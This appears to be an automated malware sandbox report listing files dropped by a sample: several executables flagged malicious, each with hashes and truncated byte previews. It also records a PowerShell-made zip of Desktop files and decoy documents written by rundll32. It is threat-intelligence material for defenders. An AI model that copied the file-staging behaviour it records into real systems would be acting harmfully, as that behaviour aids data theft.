Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	578048
Entropy (8bit):	7.272707802677416
Encrypted:	false
SSDEEP:	12288:D/fI5jU8KHNXx/WRjeew+6P5zwMzAbPxlj6M+KjLHo:D3IYNXxya9+TMzMTj6rKjb
MD5:	F15A9CFA3726845017A7F91ABE0A14F7
SHA1:	5540AE40231FE4BF97E59540033B679DDA22F134
SHA-256:	2DEC75328413D4C278C119DB42920FB183A88A5398D56ECC80C8CC74FBA13071
SHA-512:	1C2AF9608736AD6A02D093F769FE5EC5A06CB395A639E021D4EE3F6C46CEBC8C101E7DB1064984F801AD3BEE65D81B95FE6E2E60C0EC949BB172BA9C455B9869
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(tY.F'Y.F'Y.F'..E&U.F'..C&.F'..B&L.F'..B&K.F'..E&M.F'..G&\.F'Y.G'..F'..C&..F'..C&X.F'..D&X.F'RichY.F'................PE..L.....4f...............'.............a.......0....@..........................?............@..................................0..................................l......................................@............0..<............................text............................... ..`.DAX.........0......................@..@.data...T...........................@....Left...............................@....reloc..l...........................@..B.INV.........0......................@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000080001\alexxxxxxxx.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2831872
Entropy (8bit):	7.076550333890677
Encrypted:	false
SSDEEP:	49152:jOvdoJl7MWepyIsE7ddkxuq8rW5vs0VaCQeb5tsQcGo:GYIscWxuq8rUlVaCQo5tsQG
MD5:	31841361BE1F3DC6C2CE7756B490BF0F
SHA1:	FF2506641A401AC999F5870769F50B7326F7E4EB
SHA-256:	222393A4AB4B2AE83CA861FAEE6DF02AC274B2F2CA0BED8DB1783DD61F2F37EE
SHA-512:	53D66FA19E8DB360042DADC55CAAA9A1CA30A9D825E23ED2A58F32834691EB2AAAA27A4471E3FC4D13E201ACCC43160436ED0E9939DF1CC227A62A09A2AE0019
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........B............C......C..9...C......R!......R!......C.............R!.....c"......c"......Rich....................PE..L...w.(f...............'..........................@...........................+...........@.................................0..P.............................+..I..0m..8...........................Hl..@..............0............................text............................... ..`.rdata...M.......N..................@..@.data...............................@....idata...........................@..@.00cfg........+....................@..@.reloc..qh....+..j....*.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000081001\install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4448942
Entropy (8bit):	7.996740744908945
Encrypted:	true
SSDEEP:	98304:zgwR5qybOM3rY1buPd0+01mQ5YBGUYDU4a6FXg+d70MYVSuEQQpnlJYtDf+8:zgDyaM3qbA0+07YBeDa6a++b5Evn4tF
MD5:	0F52E5E68FE33694D488BFE7A1A71529
SHA1:	11D7005BD72CB3FD46F24917BF3FC5F3203F361F
SHA-256:	EFD29C35766C607AA15D1CB83DEC625739791B1616AD37D5B47E78CDB8A42CA8
SHA-512:	238FBB1C04EEF2F2005CB7ABF0223E3CD062D9D2840966292E19DCAA495609E134A0BDC35389AE9925ECFC787A13772D3AC7B29058579F702BC849DD0343C400
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L......P.....................\....../.............@..........................P......3-......................................t........0..................................................................................l............................text.............................. ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc........0......................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.c...P....Y.nj'.S....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.f...Y.r8..j...t.A...t$..D....V....s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.d.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255803870917765
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWl:a72A4VgEvmcH9yKCpM/e4iWl
MD5:	85D23A7E1BF2207A3FA825136090E00D
SHA1:	A1FDCAF5B513DAB9A0A6D0390626F808E508765E
SHA-256:	F0C8D2724E6659B3DE34A5422376194EBB203B2D5EDC49F61CEFE483A2E73E6D
SHA-512:	0714573D799E4D5B4A3DA96E192AFA12A211421BC022FE6671EB67AD81BD581012581F919A20EDBF8BEB32AF87FFDB7A518424D5A1A9E56556A4BBFA72CE1CC2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	6.729582020715566
Encrypted:	false
SSDEEP:	6144:Dw7X5rSoVVk3NqPNPhZ0Q4KROPnEJRYiyP:D0xSoVyNqPNIXGRe
MD5:	A9C28724B16C3BB3AF2FDB5AA9BE277C
SHA1:	BEF9C7B857D0BC6C0D90204765704CA411A60E6D
SHA-256:	3500071769305B1D5753CCBDCB16BCD2AB047AE7994741E4628F68FEB939E9B7
SHA-512:	6966DD9AE3C17C83DB07FFAF69D035A89D82A315DD92D7465192E0FC14C7E750B1FB2163C662A926B103E516FFFDB345112353F054CAD079AAB96A1B17A4BC3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e.\...\...\...Q...@...Q...#...Q...w...U...Y...\...6....D..]...Q...]....D..]...Rich\...................PE..L....Nkc......................_......C....... ....@...........................`.................................................<....._..[...........................!..8........................... z..@............ ..p............................text............................... ..`.rdata..Bm... ...n..................@..@.data...H.]......r...t..............@....rsrc....[...._..\..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285246977507
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/Ec:pIS769aql4v/ahlHt2c0v7pgQoJ
MD5:	80D75B9A49171FE842E9CD07A45CBA68
SHA1:	E6CE3056F850E9480BA6DB11A350EEEEAD9EEB90
SHA-256:	BCF01CEA95C62EFA97319E5955FA58EF2523C81FF6BF45C4A7489F68B2A6F856
SHA-512:	8D7B06903D7BDFA9218FCE2C89CCF2211A0C5AA480CCE933C8FF06E7DDCB4422FF113343B680294DCA3C0EA3D9CEFE53C2868F166F719829BA70A6B97413D1B7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6143
Entropy (8bit):	7.79913609472161
Encrypted:	false
SSDEEP:	96:YqgbzTvWUrT4ao7lIri4ao7l0WMMYLL1Lc+8R6CbsNpC/ZtDquuukI:YqgDvWUrTJHriJPWHrjbe0OuuukI
MD5:	1F4B62DD7E347610DC47E50C4695EA81
SHA1:	10365E69D2E75AFDDC999ECC16141493BBB4F870
SHA-256:	5E6BBABA397DE94BEDBC0A419ED9E0C8B584E4065D74A27EFEC058A0D1D63D88
SHA-512:	BEC83FB73A2A9CC45AC37BD90F8F87EB046A14968DA751202FD9862A99F6FA526FDB544FEA5FDCED043A050F0DBCBF63C8C3292BFCC9B59D3A0CC086D2BAA15B
Malicious:	true
Preview:	PK........PpDWS.............._Files_\AIXACVYBSB.docx..Gn@1.D..r(.......$?.K..oF..~zj#6Ua....OSu..I.b.i.j...._".....5z]E...n..K...v...D8..<QHcl.r1...jJ..,2~xG..F.J..z..l...:..N8..b..66D... ....Wd.Z...x.eW.{.-...e....\&.\|.$l$...}q.<.N..!=.s:W......J.......p.G..]......;$...NPN....\"..2....@.VJ........0.T....B..)8.....>.z.2c...T..JV4...1....u)<g...j....E...{7lk.}.Q.^.5].......D.z.z..>..}U..F.Ro...2.;.K".;j...Jf5F2.+....T<Ck.\|b.......%~..3.;..~.j...B...T.Qco5h;.9...O.(...s....&..5s..U..-.....c..[6.:..Yv.N.>#....N9._.............Qk.m...0/S=.g.kOI..R....c.1.L..k.x.6..e..k"..D...y...~..t....z.9m..Ny..%-..g........u. \|\|..!..e.....r+.k.[.....s..~...PK........PpDW..M............_Files_\DTBZGIOOSO.docx..I.e!...yE.E.`.....!u.\..<0.s..........h>....t5.X.K..0g,.h.^......]c.N..rh.....X.....t.6`.]6.M.I.../.9....wO.xf<p..q.j._7}v..e..R_M..X.u.1.....-.m.b,R....O.q.~v..c..+...I.....m..G...u..r./.?i.....\..H...u......f~I3..ny.C.&.....W.7T......a

C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe

Download File

Process:	C:\Users\user\Desktop\1CMweaqlKp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1793040
Entropy (8bit):	7.95023297552325
Encrypted:	false
SSDEEP:	49152:mQKkQGW5tuFxaLTdYZWakRk43qB75IzCed:mvtH5AFYMWa5WqBSt
MD5:	8A19D654CB37E4E51BE045ACAF097E74
SHA1:	7A3A86421A806D2BA66AE84E86305847C8B1F766
SHA-256:	59B3AF1A244A082219116ED9B496DE99236B01AE42DF75BF4211ED2B7069BC4B
SHA-512:	DF54F9F61B5C9E9A79EDF17732B6BB630D945F813F00579B79F021735D3F3C6802A463D9D6F41A75D3703A86A0844B9F587C3961E44AE53045DDB25B67438681
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...yO&f............................X`<...........@...........................T......W....@..........................................0........................T.............................. ...................................................... J........,.................. ..` N........V...0..............@..@ .E... ......................@... .....p......................@..@ .K.......0..................@..B.vm_sec..@.......@..................@....idata..............................@....tls......... ...........................rsrc........0......................@..@.themida. 5..@......................`....boot....P...`<..P..................`..`.reloc........T......\.................@........................

C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\1CMweaqlKp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\TmpC1FF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000071001\jok.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpC21F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000071001\jok.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\_Files_\AIXACVYBSB.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\Temp\_Files_\DTBZGIOOSO.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\_Files_\DTBZGIOOSO.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\_Files_\HTAGVDFUIE.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\_Files_\ONBQCLYSPU.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
